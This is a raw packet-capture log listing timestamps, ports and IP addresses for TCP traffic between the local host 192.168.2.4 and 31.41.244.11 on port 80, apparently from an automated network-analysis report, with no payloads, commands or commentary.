Nov 23, 2024 11:22:11.668746948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.669078112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.669130087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.669289112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.669337034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.670097113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.670144081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.670190096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.670234919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.671088934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.671156883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.671219110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.671291113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.672063112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.672106981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.672111988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.672182083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.673084021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.673161030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.673197985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.673242092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.674082041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.674145937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.674151897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.674248934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.675102949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.675116062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.675214052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.676070929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.676127911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.676166058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.676270962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.677081108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.677129030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.677187920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.677243948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.678102970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.678149939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.678200960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.678250074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.679054976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.679105997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.679158926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.679210901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.680069923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.680118084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.680268049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.680310965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.681073904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.681160927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.681241989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.681288004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.682073116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.682148933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.682225943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.682276011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.683051109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.683100939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.683166027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.683209896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.684128046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.684153080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.684175968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.684211016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.685214043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.685256004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.685353994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.685399055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.686189890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.686216116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.686239004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.686259985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.687160969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.687175035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.687208891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.687241077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.688062906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.688107967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.688179970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.688235044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.689054012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.689100027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.689184904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.689229012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.690080881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.690130949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.690193892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.690242052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.691103935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.691149950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.691200018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.691251040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.692135096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.692183971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.692212105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.692245960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.693054914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.693100929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.693207026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.693253994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.694073915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.694122076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.694173098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.694212914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.695069075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.695116043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.695240021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.695281982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.696094036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.696139097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.696192026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.696235895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.697048903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.697109938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.697175980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.697221994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.698074102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.698120117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.698167086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.698220968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.699037075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.699101925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.699170113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.699217081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.700063944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.700129032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.700177908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.700222015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.701091051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.701143026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.701195002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.701237917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.702058077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.702106953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.702193022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.702255011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.703071117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.703119040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.703182936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.703227997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.704097033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.704144955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.704170942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.704220057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.705079079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.705127001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.705501080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.705548048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.706058025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.706104040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.706155062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.706196070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.707113981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.707159996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.707228899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.707272053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.708092928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.708138943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.708173990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.708219051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.709161043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.709212065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.709220886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.709270954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.710179090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.710227966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.710294962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.710339069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.711206913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.711249113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.711298943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.711349964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.712172031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.712223053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.712260962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.712305069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.713041067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.713087082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.713141918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.713186026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.714047909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.714095116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.714171886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.714217901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.715128899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.715174913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.715209961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.715250969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.716105938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.716152906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.716214895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.716262102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.717078924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.717127085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.717180014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.717226028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.718044043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.718092918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.718174934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.718219995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.719079018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.719121933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.719263077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.719306946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.720076084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.720122099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.720232010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.720283031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.721036911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.721081972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.869786978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.869851112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.869868994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.869919062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.870296001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.870346069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.870482922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.870529890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.871339083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.871390104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.871428967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.871470928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.872293949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.872338057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.872340918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.872387886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.873289108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.873342037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.873414040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.873454094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.874404907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.874454975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.874469042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.874516010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.875299931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.875349998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.875438929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.875483990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.876435995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.876449108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.876487970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.876509905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.877434969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.877449036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.877486944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.877522945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.878344059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.878391027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.878429890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.878479004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.879381895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.879432917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.879476070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.879523993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.880306959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.880359888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.880429983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.880477905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.881345034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.881359100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.881406069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.882936954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.882966995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.882988930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.883014917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.892618895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892678976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.892811060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892849922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892862082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.892890930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892927885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.892927885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.892947912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892967939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.892997980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893021107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893034935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893038988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893059969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893090963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893099070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893104076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893142939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893142939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893160105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893173933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893212080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893232107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893243074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893280983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893291950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893294096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893327951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893335104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893347979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893348932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893382072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893384933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893398046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.893435001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.893455982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899285078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899306059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899354935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899354935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899487019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899497986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899547100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899559021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899570942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899604082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899621010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899632931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899669886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899686098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899710894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899730921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899765968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899776936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899779081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899815083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899826050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899826050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.899842024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.899887085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.900501966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.900527954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.900559902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.900559902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.901315928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.901365042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.901392937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.901442051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.902318954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.902375937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.902443886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.902493954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.903414011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.903466940 CET	49765	80	192.168.2.4	31.41.244.11
